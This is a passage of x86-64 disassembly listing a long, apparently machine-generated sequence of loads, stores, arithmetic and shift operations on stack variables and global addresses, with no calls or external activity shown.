movsx ecx, byte [rsp + 0x86]
add eax, ecx
mov rcx, qword [rsp + 0x8b68]
mov byte [rcx], al
lea rax, [rsp + 0x9e]
mov qword [rsp + 0x9518], rax
movzx eax, word [rsp + 0x10d8]
movzx ecx, word [rsp + 0x10b0]
shl eax, cl
mov rcx, qword [rsp + 0x94e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x9080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93b0]
mov qword [rsp + 0x9520], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9520]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov dword [rsp + 0x4ef8], eax
mov rax, qword [rsp + 0x9040]
mov rcx, qword [rsp + 0x92e8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e1c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e38], eax
mov rax, qword [rsp + 0x8f50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10bc]
and eax, ecx
mov word [0x1401e7078], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [rsp + 0xb3], al
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0xaa]
add eax, ecx
mov byte [rsp + 0x70], al
lea rax, [rsp + 0x108c]
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0x9190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ac0]
mov byte [rcx], al
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x8fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e30], rax
lea rax, [rsp + 0x4d88]
mov qword [rsp + 0x9530], rax
mov rax, qword [rsp + 0x8e78]
mov rcx, qword [rsp + 0x9150]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9058], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0x9538], rax
movsx eax, word [rsp + 0x103c]
movsx ecx, word [rsp + 0xff0]
and eax, ecx
mov word [0x1401e8888], ax
mov rax, qword [rsp + 0x9050]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
add eax, ecx
mov rcx, qword [rsp + 0x9160]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xad]
sub eax, ecx
mov byte [rsp + 0x72], al
movzx eax, word [rsp + 0x105c]
mov word [rsp + 0x10e8], ax
mov rax, qword [rsp + 0x9370]
movzx eax, byte [rax]
mov rcx, qword [0x1401e8850]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x8e60]
mov eax, dword [rax]
mov dword [rsp + 0x4efc], eax
mov rax, qword [rsp + 0x93f8]
mov rcx, qword [rsp + 0x8ef8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9258]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ddc]
mov ecx, dword [rsp + 0x4cd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ef8], eax
lea rax, [rsp + 0x8ca8]
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e707c], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x94b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x92], al
lea rax, [rsp + 0x85]
mov qword [rsp + 0x9548], rax
movzx eax, word [rsp + 0x1064]
movzx ecx, word [rsp + 0x1018]
sar eax, cl
mov rcx, qword [rsp + 0x91b8]
mov word [rcx], ax
lea rax, [rsp + 0xa6]
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x9510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x94e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8b20], rax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9358]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
mov dword [rsp + 0x4f00], eax
mov rax, qword [rsp + 0x9538]
mov rcx, qword [rsp + 0x9378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9538]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1078]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7034], ax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x9558], rax
movsx eax, byte [rsp + 0x8c]
movsx ecx, byte [rsp + 0x9d]
add eax, ecx
mov rcx, qword [rsp + 0x8e38]
mov byte [rcx], al
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
sub eax, ecx
mov word [rsp + 0x1044], ax
lea rax, str._DM_b
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x9510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9180]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x94b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov dword [rsp + 0x4f04], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9088]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e48], eax
lea rax, [rsp + 0x1000]
mov qword [0x1401e88b8], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x9568], rax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff8], ax
lea rax, [rsp + 0xffc]
mov qword [rsp + 0x9570], rax
movzx eax, word [rsp + 0x101c]
mov rcx, qword [rsp + 0x9160]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
lea rax, [rsp + 0x94d0]
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4ee0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e28], eax
mov rax, qword [rsp + 0x8e90]
movzx ecx, al
mov rax, qword [rsp + 0x91d8]
shl rax, cl
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9378]
mov eax, dword [rax]
mov dword [rsp + 0x4f08], eax
movsx eax, byte [rsp + 0x78]
movsx ecx, byte [rsp + 0x8b]
sar eax, cl
mov byte [0x1401e8792], al
mov rax, qword [0x1401e8860]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9208]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1000], ax
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0xae]
add eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0x90e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1034], ax
lea rax, [rsp + 0x4e98]
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x94b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x90d0], rax
lea rax, section..data
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x8d40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9120]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xa2]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x84], al
movzx eax, word [0x1401e7044]
mov word [0x1401e88c0], ax
movzx eax, word [rsp + 0x10e8]
mov word [rsp + 0x10ec], ax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x91]
sub eax, ecx
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
lea rax, [rsp + 0x1060]
mov qword [rsp + 0x9590], rax
mov eax, dword [rsp + 0x4ea8]
mov ecx, dword [rsp + 0x4e24]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x9228]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0x9088]
mov rcx, qword [rsp + 0x90d8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9348], rax
mov rax, qword [rsp + 0x94b0]
movzx eax, byte [rax]
mov byte [rsp + 0xb5], al
lea rax, [rsp + 0x81]
mov qword [0x1401e88c8], rax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x8e00]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
lea rax, [rsp + 0x10cc]
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1064]
xor eax, ecx
mov word [rsp + 0x10c8], ax
mov eax, dword [rsp + 0x4ed4]
movzx ecx, al
mov eax, dword [0x1401e7008]
sar eax, cl
mov dword [rsp + 0x4eb0], eax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x9000]
mov ecx, dword [rsp + 0x4e24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0x91d8]
mov qword [rsp + 0x95b0], rax
movzx eax, word [rsp + 0x10b4]
movzx ecx, word [rsp + 0x10a4]
and eax, ecx
mov word [rsp + 0x10ac], ax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1068]
add eax, ecx
mov word [0x1401e7060], ax
movsx eax, byte [rsp + 0xa0]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x8c], al
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x95b8], rax
movsx eax, word [rsp + 0x1094]
movsx ecx, word [rsp + 0x109c]
add eax, ecx
mov word [rsp + 0x1030], ax
mov eax, dword [rsp + 0x4efc]
mov dword [rsp + 0x4f0c], eax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8b50], rax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x8f90]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9018], rax
lea rax, [rsp + 0x4e58]
mov qword [rsp + 0x95c0], rax
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1034]
sub eax, ecx
mov rcx, qword [rsp + 0x9090]
mov word [rcx], ax
movzx eax, byte [rsp + 0xae]
movzx ecx, byte [0x1401e8795]
add eax, ecx
mov byte [0x1401e87a3], al
lea rax, [rsp + 0x93]
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1084], ax
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xa5]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x9230]
mov rcx, qword [rsp + 0x90d8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fb8]
mov qword [rsp + 0x95d0], rax
mov eax, dword [rsp + 0x4e8c]
movzx ecx, al
mov eax, dword [rsp + 0x4e44]
sar eax, cl
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92f0]
mov eax, dword [rax]
mov dword [rsp + 0x4f10], eax
lea rax, [rsp + 0x73]
mov qword [0x1401e88d0], rax
movzx eax, word [0x1401e7074]
movzx ecx, word [rsp + 0x10e0]
or eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1050]
add eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
lea rax, [rsp + 0xb1]
mov qword [rsp + 0x95d8], rax
mov rax, qword [0x1401e8810]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x94b8]
mov rax, qword [rax]
mov qword [rsp + 0x95e0], rax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0x9588]
mov ecx, dword [rsp + 0x4e20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ed8], eax
lea rax, [rsp + 0x8d30]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
movzx ecx, word [0x1401e7038]
add eax, ecx
mov word [0x1401e8898], ax
mov rax, qword [rsp + 0x94d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9e]
add eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov byte [rcx], al
lea rax, [rsp + 0x101c]
mov qword [rsp + 0x95f0], rax
mov rax, qword [rsp + 0x9148]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8b68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9090]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9220]
mov word [rcx], ax
mov rax, qword [rsp + 0x92a8]
mov qword [rsp + 0x95f8], rax
mov rax, qword [rsp + 0x9598]
mov rcx, qword [rsp + 0x93d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e5c]
mov dword [rsp + 0x4f14], eax
mov rax, qword [rsp + 0x8d80]
mov rcx, qword [rsp + 0x9008]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9130], rax
movsx eax, word [rsp + 0x1050]
movsx ecx, word [rsp + 0x100c]
add eax, ecx
mov word [0x1401e7080], ax
mov rax, qword [rsp + 0x8ff8]
movzx eax, byte [rax]
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8a]
or eax, ecx
mov byte [rsp + 0x81], al
movzx eax, word [0x1401e7020]
movzx ecx, word [rsp + 0x1018]
xor eax, ecx
mov word [rsp + 0x1004], ax
movzx eax, word [rsp + 0x10bc]
mov word [rsp + 0x10f0], ax
mov eax, dword [rsp + 0x4e1c]
movzx ecx, al
mov eax, dword [rsp + 0x4e8c]
shl eax, cl
mov dword [rsp + 0x4ecc], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0x9600], rax
mov eax, dword [rsp + 0x4cac]
movzx ecx, al
mov eax, dword [rsp + 0x4ec8]
shr eax, cl
mov dword [rsp + 0x4ef0], eax
mov rax, qword [rsp + 0x95d0]
mov rcx, qword [rsp + 0x9098]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
mov rax, qword [0x1401e88d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9550]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x8db0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1014]
sub eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
lea rax, [0x1401e88c0]
mov qword [rsp + 0x9608], rax
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x98]
and eax, ecx
mov byte [rsp + 0x96], al
mov eax, dword [rsp + 0x4e98]
mov ecx, dword [rsp + 0x4f0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e1c], eax
mov eax, dword [rsp + 0x4ee0]
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0x8bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb8], rax
lea rax, [rsp + 0x8f40]
mov qword [rsp + 0x9610], rax
mov rax, qword [rsp + 0x8b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9060]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7025], al
mov rax, qword [rsp + 0x9528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9160]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10dc], ax
movzx eax, byte [rsp + 0xb2]
mov rcx, qword [rsp + 0x9460]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb8], al
lea rax, [rsp + 0x1044]
mov qword [rsp + 0x9618], rax
mov rax, qword [rsp + 0x9528]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9590]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1084], ax
lea rax, [rsp + 0x4ef0]
mov qword [rsp + 0x9620], rax
mov rax, qword [rsp + 0x9138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8d78]
mov qword [rsp + 0x9628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9628]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4eac], eax
mov rax, qword [rsp + 0x9088]
mov rax, qword [rax]
mov qword [rsp + 0x9630], rax
mov rax, qword [rsp + 0x8fb8]
mov rcx, qword [rsp + 0x92c8]
mov qword [rsp + 0x9638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9540]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1090]
mov word [0x1401e88d8], ax
mov rax, qword [rsp + 0x91b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1074]
xor eax, ecx
mov word [rsp + 0x1004], ax
lea rax, [rsp + 0x85]
mov qword [rsp + 0x9640], rax
mov rax, qword [0x1401e8810]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9290]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c10]
movzx eax, word [rax]
mov word [rsp + 0x10f4], ax
mov rax, qword [rsp + 0x8b70]
mov rcx, qword [rsp + 0x8e10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e00], eax
mov rax, qword [rsp + 0x9268]
mov rcx, qword [rsp + 0x8de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8b80]
mov qword [rsp + 0x9648], rax
mov rax, qword [rsp + 0x9598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4edc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eec], eax
movzx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8828]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0xb9], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x10e4]
and eax, ecx
mov rcx, qword [rsp + 0x9470]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9640]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0x9530]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea8], eax
lea rax, [rsp + 0x4cec]
mov qword [rsp + 0x9650], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x93f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9478], rax
lea rax, [rsp + 0x8e40]
mov qword [rsp + 0x9658], rax
mov rax, qword [0x1401e8840]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x100c]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov word [rcx], ax
lea rax, [rsp + 0x88]
mov qword [0x1401e88e0], rax
mov rax, qword [rsp + 0x8fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1038]
sar eax, cl
mov word [rsp + 0x1054], ax
lea rax, [rsp + 0xb5]
mov qword [rsp + 0x9660], rax
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9420]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xa3], al
lea rax, [rsp + 0x4ed4]
mov qword [rsp + 0x9668], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x93a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e58], eax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8af8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
lea rax, [rsp + 0x8ef8]
mov qword [rsp + 0x9670], rax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x9560]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb8], al
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10ec]
add eax, ecx
mov rcx, qword [0x1401e87c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov word [rsp + 0x10f8], ax
mov rax, qword [0x1401e8848]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x88]
add eax, ecx
mov byte [rsp + 0x84], al
movsx eax, word [rsp + 0x105c]
movsx ecx, word [rsp + 0x1094]
add eax, ecx
mov word [rsp + 0x1078], ax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0x9678], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov ecx, dword [0x1401e7008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9330]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d30]
mov qword [rsp + 0x9680], rax
mov rax, qword [rsp + 0x9080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1050]
and eax, ecx
mov word [rsp + 0x10a0], ax
mov rax, qword [rsp + 0x9500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e8794], al
lea rax, [rsp + 0x1038]
mov qword [rsp + 0x9688], rax
movzx eax, word [rsp + 0xff4]
mov rcx, qword [rsp + 0x95f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc8]
mov word [rcx], ax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x9690], rax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9318]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e98]
mov qword [rsp + 0x9698], rax
mov eax, dword [rsp + 0x4ef4]
mov ecx, dword [rsp + 0x4ee8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9668]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e74]
shl eax, cl
mov rcx, qword [rsp + 0x9530]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9050]
movzx eax, word [rax]
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0x9218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x75]
or eax, ecx
mov byte [0x1401e7026], al
mov rax, qword [rsp + 0x8f50]
movsx eax, word [rax]
movsx ecx, word [0x1401e707c]
sar eax, cl
mov word [rsp + 0x1090], ax
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x96a0], rax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x9448]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9518]
mov byte [rcx], al
mov rax, qword [rsp + 0x95a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f0]
sub eax, ecx
mov rcx, qword [rsp + 0x9570]
mov word [rcx], ax
lea rax, [rsp + 0x4cc4]
mov qword [rsp + 0x96a8], rax
mov rax, qword [rsp + 0x9658]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9250]
mov qword [rcx], rax
lea rax, [rsp + 0x9210]
mov qword [rsp + 0x96b0], rax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e84]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
sub eax, ecx
mov word [str.U_bC], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x89]
add eax, ecx
mov rcx, qword [rsp + 0x9288]
mov byte [rcx], al
lea rax, [rsp + 0x72]
mov qword [rsp + 0x96b8], rax
mov rax, qword [rsp + 0x9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1030]
add eax, ecx
mov word [rsp + 0x1050], ax
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x9578]
mov rcx, qword [rsp + 0x8de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9018], rax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x96c0], rax
mov rax, qword [rsp + 0x9620]
mov ecx, dword [rsp + 0x4e70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9610]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93f8]
mov qword [rsp + 0x96c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x96c8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8c50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9338]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e8796]
sar eax, cl
mov byte [0x1401e700e], al
movzx eax, word [rsp + 0x10a8]
mov word [rsp + 0x1100], ax
mov rax, qword [rsp + 0x91b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1084]
or eax, ecx
mov rcx, qword [rsp + 0x9350]
mov word [rcx], ax
mov rax, qword [rsp + 0x8e00]
movzx eax, byte [rax]
mov byte [rsp + 0xbc], al
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0x8de0]
mov rcx, qword [rsp + 0x8fe8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e28]
mov eax, dword [rax]
mov dword [rsp + 0x4f1c], eax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4cc4], eax
lea rax, [rsp + 0x8e98]
mov qword [rsp + 0x96d0], rax
lea rax, [rsp + 0x1028]
mov qword [0x1401e88e8], rax
mov rax, qword [0x1401e88d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f80]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x94e0]
